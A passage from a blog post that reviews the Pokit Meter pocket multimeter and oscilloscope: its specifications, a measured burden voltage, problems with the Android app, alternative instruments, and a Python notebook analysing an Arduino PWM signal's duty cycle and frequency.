1 mA to 2 A AC\/DC +- 1%<\/li>\n<li>Input Impedance (DC): 1 M\u03a9<\/li>\n<li>Sampling: 12bit, 1 M samples\/s<\/li>\n<\/ul>\n<p>Logger:<\/p>\n<ul>\n<li>Voltage: 10 mV to 42V AC (True RMS) 10 mV to 60 VDC +- 1%<\/li>\n<li>Current: 1 mA to 2A AC (True RMS)\/DC +- 1%<\/li>\n<li>Temp: 0 to 60 C +- 1 C<\/li>\n<li>Memory: 128 KB, i.e. 1 sample\/45 minutes (-&gt; up to 6 Months that way)<\/li>\n<li>Sample Rate: 1 s to 18 h<\/li>\n<li>Input Impedance(DC): 1 M\u03a9<\/li>\n<li>True RMS<\/li>\n<\/ul>\n<p>Of course, other 'real' DMMs have better specs and also specify them more detailed.\nEspecially with respect to the accuracy and resolution of the different ranges.<\/p>\n<hr>\n<p>These specifications leave it open up to which frequency True RMS AC measurement is supported.\nI did a quick test, and the results for a 40 kHz signal were way off.\nFor comparison, the datasheet of the EEVBlog 121GW DMM specifies AC coupled RMS mode up to 5 kHz and DC coupled RMS mode up to 1 kHz.<\/p>\n<p>Notably, the Pokit Meter doesn't support DC coupled RMS measurments.<\/p>\n<h2 id=\"burden-voltage\">Burden Voltage<a class=\"headerlink\" href=\"#burden-voltage\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Also, Pokit doesn't specify any burden voltages for current measurements (unlike other DMMs).\nI measured an internal resistance of 22.35 Ohm at the 10 mA current range which results in a burden voltage of 22 mV\/mA.<\/p>\n<p>Of course, this isn't particularly impressive, as might be expected from the other specs.\nFor example, even a 25 year old ultra cheap DMM of mine has half of that burden voltage.<\/p>\n<h2 id=\"paper-cuts\">Paper Cuts<a class=\"headerlink\" href=\"#paper-cuts\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>As mentioned in the introduction, the Pokit Android software comes with too many annoyances, as of 2022.\nEven after playing with it for only a few minutes, one easily notices several of them.<\/p>\n<p>Most notable issues:<\/p>\n<ul>\n<li>DSO mode is immediately terminated (and all settings are lost) when quickly switching to another app, e.g. even when just sharing a measurement from history or a screenshot<\/li>\n<li>many settings aren't retained when switching between DSO and DMM mode, or when exiting the DSO mode, such as position of the x-axis, selected functions, etc.<\/li>\n<li>there is no way to lock the time\/unit division (div) such that it's easily changed by accident to nonsensical decimal divisions<\/li>\n<li>some settings can only be set by tedious zooming gestures, there is no direct discrete entry possible<\/li>\n<li>graph isn't automatically vertically shifted when there aren't negative values<\/li>\n<li>there is no snap-to-grid feature<\/li>\n<li>there are no labels on the axes<\/li>\n<li>functions are positioned suboptimally such that they are often unreadable<\/li>\n<li>DFT just shows histogram, no spectrogram<\/li>\n<li>placing measurement tips doesn't work, as a side effect the\n  graph isn't displayed anymore, even on follow up measurements.\n  Workaround: switch between modes to reset and thus lose again all the\n  settings ...<\/li>\n<\/ul>\n<p>Arguably somewhat less notable:<\/p>\n<ul>\n<li>the application doesn't support Dark Mode<\/li>\n<\/ul>\n<p>The device itself has to make some compromises because of its form factor.\nHowever, the quality of the J-probes could be better. For example, with my device, the black one gets stuck when being retracted.<\/p>\n<p>On the positive side, some pros:<\/p>\n<ul>\n<li>device is ultra portable and relatively inexpensive<\/li>\n<li>the device's BLE protocol is <a href=\"https:\/\/www.pokitinnovations.com\/wp-content\/uploads\/D0005250-PokitMeter-Bluetooth-API-Documentation-0_02.pdf\">openly documented<\/a><\/li>\n<li>if nothing else is available, it's definitely good enough for reverse-engineering or verifying some PWM signals<\/li>\n<\/ul>\n<h2 id=\"alternatives\">Alternatives<a class=\"headerlink\" href=\"#alternatives\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Obvious alternatives are to use a 'real' DMM with better specs\nfor the usual measurements, and a real\noscilloscope\/logic-analyzer for looking at PWM signals,\nespecially if longer periods need to be observed. See for example\nthe <a href=\"https:\/\/sigrok.org\/wiki\/Supported_hardware\">Sigrok device support\npage<\/a> to get an idea\nof typical devices in different device classes that also can be\ninterfaced by an computer (and support continuous data\nacquisition).<\/p>\n<p>Some mid-level DMMs also support a frequency measurement mode, where\nthe frequency and even the duty cycle can be measured. However, a look at the\ndatasheet is mandatory, since the DMM likely isn't able to sample the signal\nfast enough, it isn't sensitive enough for common logic-levels, only supports\nfrequency measurements of AC voltages etc.<\/p>\n<p>For a first approximation, a better DMM might be used to verify a regular PWM signal\neven without a dedicated frequency mode, at least for doing some plausibility checks.\nFor example, one can calculate the expected average DC voltage, AC coupled and\nDC couples RMS voltages and see if the DMM measured values match the\nexpectation.\nAlso, the True RMS AC mode might be sensitive\/fast enough to even display the logic-level PWM frequency, correctly.\nHowever, even with better DMMs the True RMS sampling might not be high enough for some PWM signals (check the datasheet).<\/p>\n<p>If the DMM specs are sparse and details regarding various measurement modes are lacking, one should look for a better device.<\/p>\n<h2 id=\"notebook\">Notebook<a class=\"headerlink\" href=\"#notebook\" title=\"Permanent link\">&para;<\/a><\/h2>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"o\">%<\/span><span class=\"n\">matplotlib<\/span> <span class=\"n\">inline<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"nn\">pandas<\/span><span class=\"w\"> <\/span><span class=\"k\">as<\/span><span class=\"w\"> <\/span><span class=\"nn\">pd<\/span>\n<span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"nn\">numpy<\/span><span class=\"w\"> <\/span><span class=\"k\">as<\/span><span class=\"w\"> <\/span><span class=\"nn\">np<\/span>\n<span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"nn\">seaborn<\/span><span class=\"w\"> <\/span><span class=\"k\">as<\/span><span class=\"w\"> <\/span><span class=\"nn\">sns<\/span>\n<span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"nn\">matplotlib.pyplot<\/span><span class=\"w\"> <\/span><span class=\"k\">as<\/span><span class=\"w\"> <\/span><span class=\"nn\">plt<\/span>\n<span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"nn\">scipy.signal<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">rcParams<\/span><span class=\"p\">[<\/span><span class=\"s1\">&#39;figure.figsize&#39;<\/span><span class=\"p\">]<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>[6.4, 4.8]\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">rc<\/span><span class=\"o\">=<\/span><span class=\"p\">{<\/span><span class=\"s1\">&#39;figure.figsize&#39;<\/span><span class=\"p\">:(<\/span><span class=\"mi\">8<\/span><span class=\"p\">,<\/span> <span class=\"mi\">4<\/span><span class=\"p\">)})<\/span>\n<span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">set_style<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;darkgrid&quot;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"p\">{<\/span> <span class=\"n\">k<\/span><span class=\"p\">:<\/span> <span class=\"n\">v<\/span> <span class=\"k\">for<\/span> <span class=\"n\">k<\/span><span class=\"p\">,<\/span> <span class=\"n\">v<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">axes_style<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">items<\/span><span class=\"p\">()<\/span> <span class=\"k\">if<\/span> <span class=\"s2\">&quot;color&quot;<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">k<\/span> <span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>{&#39;axes.facecolor&#39;: &#39;#EAEAF2&#39;,\n &#39;axes.edgecolor&#39;: &#39;white&#39;,\n &#39;axes.labelcolor&#39;: &#39;.15&#39;,\n &#39;figure.facecolor&#39;: &#39;white&#39;,\n &#39;grid.color&#39;: &#39;white&#39;,\n &#39;text.color&#39;: &#39;.15&#39;,\n &#39;xtick.color&#39;: &#39;.15&#39;,\n &#39;ytick.color&#39;: &#39;.15&#39;,\n &#39;patch.edgecolor&#39;: &#39;w&#39;,\n &#39;patch.force_edgecolor&#39;: True}\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">custom_style<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{<\/span>\n    <span class=\"s1\">&#39;axes.labelcolor&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;white&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"s1\">&#39;xtick.color&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;white&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"s1\">&#39;ytick.color&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;white&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"s1\">&#39;figure.facecolor&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;#282e36&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"s1\">&#39;axes.facecolor&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;#282e36&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"s1\">&#39;grid.color&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;#2f363f&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"s1\">&#39;axes.edgecolor&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;#2f363f&#39;<\/span><span class=\"p\">,<\/span>\n<span class=\"p\">}<\/span>\n<span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">set_style<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;darkgrid&quot;<\/span><span class=\"p\">,<\/span> <span class=\"n\">rc<\/span><span class=\"o\">=<\/span><span class=\"n\">custom_style<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">set_palette<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;pastel&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">color_palette<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;pastel&#39;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p><svg  width=\"550\" height=\"55\"><rect x=\"0\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#a1c9f4;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"55\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#ffb482;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"110\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#8de5a1;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"165\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#ff9f9b;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"220\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#d0bbff;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"275\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#debb9b;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"330\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#fab0e4;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"385\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#cfcfcf;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"440\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#fffea3;stroke-width:2;stroke:rgb(255,255,255)\"\/><rect x=\"495\" y=\"0\" width=\"55\" height=\"55\" style=\"fill:#b9f2f0;stroke-width:2;stroke:rgb(255,255,255)\"\/><\/svg><\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">def<\/span><span class=\"w\"> <\/span><span class=\"nf\">read_pokit_dso<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">df<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pd<\/span><span class=\"o\">.<\/span><span class=\"n\">read_csv<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">,<\/span> <span class=\"n\">skiprows<\/span><span class=\"o\">=<\/span><span class=\"mi\">8<\/span><span class=\"p\">,<\/span> <span class=\"n\">usecols<\/span><span class=\"o\">=<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span><span class=\"mi\">1<\/span><span class=\"p\">])<\/span>\n    <span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">rename<\/span><span class=\"p\">({<\/span><span class=\"s1\">&#39;Time (s)&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;timestamp_ms&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;CH 1 - Pokit (V DC)&#39;<\/span><span class=\"p\">:<\/span> <span class=\"s1\">&#39;V&#39;<\/span><span class=\"p\">},<\/span>  <span class=\"n\">axis<\/span><span class=\"o\">=<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span> <span class=\"n\">inplace<\/span><span class=\"o\">=<\/span><span class=\"kc\">True<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">return<\/span> <span class=\"n\">df<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">def<\/span><span class=\"w\"> <\/span><span class=\"nf\">read_sample_freq<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">df<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pd<\/span><span class=\"o\">.<\/span><span class=\"n\">read_csv<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">,<\/span> <span class=\"n\">skiprows<\/span><span class=\"o\">=<\/span><span class=\"mi\">2<\/span><span class=\"p\">,<\/span> <span class=\"n\">nrows<\/span><span class=\"o\">=<\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">d<\/span> <span class=\"o\">=<\/span> <span class=\"n\">df<\/span><span class=\"p\">[<\/span><span class=\"s1\">&#39;Duration&#39;<\/span><span class=\"p\">][<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span>\n    <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">d<\/span><span class=\"o\">.<\/span><span class=\"n\">endswith<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;ms&#39;<\/span><span class=\"p\">):<\/span>\n        <span class=\"k\">raise<\/span> <span class=\"ne\">RuntimeError<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s1\">&#39;Unknown unit in: <\/span><span class=\"si\">{<\/span><span class=\"n\">d<\/span><span class=\"si\">}<\/span><span class=\"s1\">&#39;<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">d<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">float<\/span><span class=\"p\">(<\/span><span class=\"n\">d<\/span><span class=\"o\">.<\/span><span class=\"n\">replace<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;,&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;.&#39;<\/span><span class=\"p\">)[:<\/span><span class=\"o\">-<\/span><span class=\"mi\">2<\/span><span class=\"p\">])<\/span>\n    <span class=\"n\">n<\/span> <span class=\"o\">=<\/span> <span class=\"n\">df<\/span><span class=\"p\">[<\/span><span class=\"s1\">&#39;# Samples&#39;<\/span><span class=\"p\">][<\/span><span class=\"mi\">0<\/span><span class=\"p\">]<\/span>\n    <span class=\"n\">f<\/span> <span class=\"o\">=<\/span> <span class=\"mf\">1000.0<\/span> <span class=\"o\">\/<\/span> <span class=\"n\">d<\/span> <span class=\"o\">*<\/span> <span class=\"n\">n<\/span>\n    <span class=\"k\">return<\/span> <span class=\"n\">f<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">#filename = &#39;Pokit DSO Export 2022-06-16 19-05-04.csv&#39;<\/span>\n<span class=\"c1\">#filename = &#39;Pokit DSO Export 2022-06-16 19-05-13.csv&#39;<\/span>\n<span class=\"c1\">#filename = &#39;Pokit DSO Export 2022-06-18 20-42-40.csv&#39;<\/span>\n<span class=\"n\">filename<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;Pokit DSO Export 2022-06-19 15-16-33.csv&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sample_freq<\/span> <span class=\"o\">=<\/span> <span class=\"n\">read_sample_freq<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">sample_freq<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">1000000.0<\/span>\n<\/code><\/pre><\/div>\n\n<p>The example CSV originate from measuring a GPIO pin of an Arduino Mini Pro 3.3V (8 MHz) that is configured for fast PWM (i.e. its Timer2 is set to mode 7) at ~ 40 kHz with a duty cycle of ~ 33 %.<\/p>\n<p>IOW, it's configured with:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>OCR2A   = 200;\nOCR2B   = 66;\nTCCR2A  = _BV(WGM21) | _BV(WGM20);\nTCCR2B  = _BV(WGM22);\nTCCR2B |= _BV(CS20);\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">df<\/span> <span class=\"o\">=<\/span> <span class=\"n\">read_pokit_dso<\/span><span class=\"p\">(<\/span><span class=\"n\">filename<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">df<\/span>\n<\/code><\/pre><\/div>\n\n<div>\n<style scoped>\n    .dataframe tbody tr th:only-of-type {\n        vertical-align: middle;\n    }\n\n    .dataframe tbody tr th {\n        vertical-align: top;\n    }\n\n    .dataframe thead th {\n        text-align: right;\n    }\n<\/style>\n<table border=\"1\" class=\"m-table\">\n  <thead>\n    <tr style=\"text-align: right;\">\n      <th><\/th>\n      <th>timestamp_ms<\/th>\n      <th>V<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <th>0<\/th>\n      <td>0.000<\/td>\n      <td>3.409125<\/td>\n    <\/tr>\n    <tr>\n      <th>1<\/th>\n      <td>0.001<\/td>\n      <td>2.087047<\/td>\n    <\/tr>\n    <tr>\n      <th>2<\/th>\n      <td>0.002<\/td>\n      <td>0.096353<\/td>\n    <\/tr>\n    <tr>\n      <th>3<\/th>\n      <td>0.003<\/td>\n      <td>0.013272<\/td>\n    <\/tr>\n    <tr>\n      <th>4<\/th>\n      <td>0.004<\/td>\n      <td>0.005748<\/td>\n    <\/tr>\n    <tr>\n      <th>...<\/th>\n      <td>...<\/td>\n      <td>...<\/td>\n    <\/tr>\n    <tr>\n      <th>995<\/th>\n      <td>0.995<\/td>\n      <td>0.020796<\/td>\n    <\/tr>\n    <tr>\n      <th>996<\/th>\n      <td>0.996<\/td>\n      <td>0.005748<\/td>\n    <\/tr>\n    <tr>\n      <th>997<\/th>\n      <td>0.997<\/td>\n      <td>-0.001777<\/td>\n    <\/tr>\n    <tr>\n      <th>998<\/th>\n      <td>0.998<\/td>\n      <td>-0.009301<\/td>\n    <\/tr>\n    <tr>\n      <th>999<\/th>\n      <td>0.999<\/td>\n      <td>-0.013063<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n<p>1000 rows \u00d7 2 columns<\/p>\n<\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">lineplot<\/span><span class=\"p\">(<\/span><span class=\"n\">data<\/span><span class=\"o\">=<\/span><span class=\"n\">df<\/span><span class=\"p\">,<\/span> <span class=\"n\">x<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;timestamp_ms&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">y<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;V&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">palette<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;bright&#39;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>&lt;AxesSubplot:xlabel=&#39;timestamp_ms&#39;, ylabel=&#39;V&#39;&gt;\n<\/code><\/pre><\/div>\n\n<p><img alt=\"png\" src=\"https:\/\/gms.tf\/image\/pokit-output_13_1.png\"><\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">V_max<\/span> <span class=\"o\">=<\/span> <span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"o\">.<\/span><span class=\"n\">max<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">V_min<\/span> <span class=\"o\">=<\/span> <span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"o\">.<\/span><span class=\"n\">min<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">V_pp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">V_max<\/span> <span class=\"o\">-<\/span> <span class=\"n\">V_min<\/span>\n<span class=\"p\">(<\/span><span class=\"n\">V_min<\/span><span class=\"p\">,<\/span> <span class=\"n\">V_max<\/span><span class=\"p\">,<\/span> <span class=\"n\">V_pp<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>(-0.0168251227587461, 3.424278497695923, 3.441103620454669)\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">duty_cycle<\/span> <span class=\"o\">=<\/span> <span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"o\">.<\/span><span class=\"n\">mean<\/span><span class=\"p\">()<\/span><span class=\"o\">\/<\/span><span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"o\">.<\/span><span class=\"n\">max<\/span><span class=\"p\">()<\/span> <span class=\"o\">*<\/span> <span class=\"mf\">100.0<\/span>\n<span class=\"n\">duty_cycle<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">33.010387910119036<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">histplot<\/span><span class=\"p\">(<\/span><span class=\"n\">data<\/span><span class=\"o\">=<\/span><span class=\"n\">df<\/span><span class=\"p\">,<\/span> <span class=\"n\">x<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;V&#39;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>&lt;AxesSubplot:xlabel=&#39;V&#39;, ylabel=&#39;Count&#39;&gt;\n<\/code><\/pre><\/div>\n\n<p><img alt=\"png\" src=\"https:\/\/gms.tf\/image\/pokit-output_16_1.png\"><\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">vs<\/span> <span class=\"o\">=<\/span> <span class=\"n\">np<\/span><span class=\"o\">.<\/span><span class=\"n\">histogram<\/span><span class=\"p\">(<\/span><span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"p\">,<\/span> <span class=\"n\">bins<\/span><span class=\"o\">=<\/span><span class=\"mi\">2<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">duty_cycleP<\/span> <span class=\"o\">=<\/span> <span class=\"n\">vs<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">][<\/span><span class=\"mi\">1<\/span><span class=\"p\">]<\/span> <span class=\"o\">\/<\/span> <span class=\"nb\">sum<\/span><span class=\"p\">(<\/span><span class=\"n\">vs<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">])<\/span> <span class=\"o\">*<\/span> <span class=\"mf\">100.0<\/span>\n<span class=\"n\">duty_cycleP<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">33.0<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">f<\/span><span class=\"p\">,<\/span> <span class=\"n\">t<\/span><span class=\"p\">,<\/span> <span class=\"n\">xs<\/span> <span class=\"o\">=<\/span> <span class=\"n\">scipy<\/span><span class=\"o\">.<\/span><span class=\"n\">signal<\/span><span class=\"o\">.<\/span><span class=\"n\">spectrogram<\/span><span class=\"p\">(<\/span><span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"p\">,<\/span> <span class=\"n\">fs<\/span><span class=\"o\">=<\/span><span class=\"n\">sample_freq<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>That means <code>scipy.signal.spectogram()<\/code> returns an array of frequencies (y-axis), an array of time segments (x-axis) and an 2D array of amplitudes (the color).<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">t<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>array([0.000128, 0.000352, 0.000576, 0.0008  ])\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">f<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">129<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">shape<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>(129, 4)\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">xs<\/span><span class=\"p\">[:<\/span><span class=\"mi\">3<\/span><span class=\"p\">]<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>array([[3.83836353e-08, 8.26500290e-08, 2.77362553e-07, 3.39608196e-07],\n       [7.44573266e-09, 1.56151258e-08, 7.45418394e-09, 3.61549100e-09],\n       [2.69642610e-08, 1.45100991e-07, 2.17451029e-07, 9.25996058e-08]])\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">flatten<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">min<\/span><span class=\"p\">(),<\/span> <span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">flatten<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">max<\/span><span class=\"p\">()<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>(2.9019512920648874e-11, 0.0003120145689393602)\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">vs<\/span> <span class=\"o\">=<\/span> <span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">sum<\/span><span class=\"p\">(<\/span><span class=\"n\">axis<\/span><span class=\"o\">=<\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">lineplot<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"o\">=<\/span><span class=\"n\">f<\/span><span class=\"p\">,<\/span> <span class=\"n\">y<\/span><span class=\"o\">=<\/span><span class=\"n\">vs<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>&lt;AxesSubplot:&gt;\n<\/code><\/pre><\/div>\n\n<p><img alt=\"png\" src=\"https:\/\/gms.tf\/image\/pokit-output_25_1.png\"><\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">freq<\/span> <span class=\"o\">=<\/span> <span class=\"n\">f<\/span><span class=\"p\">[<\/span><span class=\"n\">vs<\/span><span class=\"o\">.<\/span><span class=\"n\">argmax<\/span><span class=\"p\">()]<\/span>\n<span class=\"n\">freq<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">39062.5<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">argmax<\/span><span class=\"p\">(<\/span><span class=\"n\">axis<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>array([10, 10, 10, 10])\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">freq<\/span> <span class=\"o\">=<\/span> <span class=\"n\">np<\/span><span class=\"o\">.<\/span><span class=\"n\">mean<\/span><span class=\"p\">([<\/span><span class=\"n\">f<\/span><span 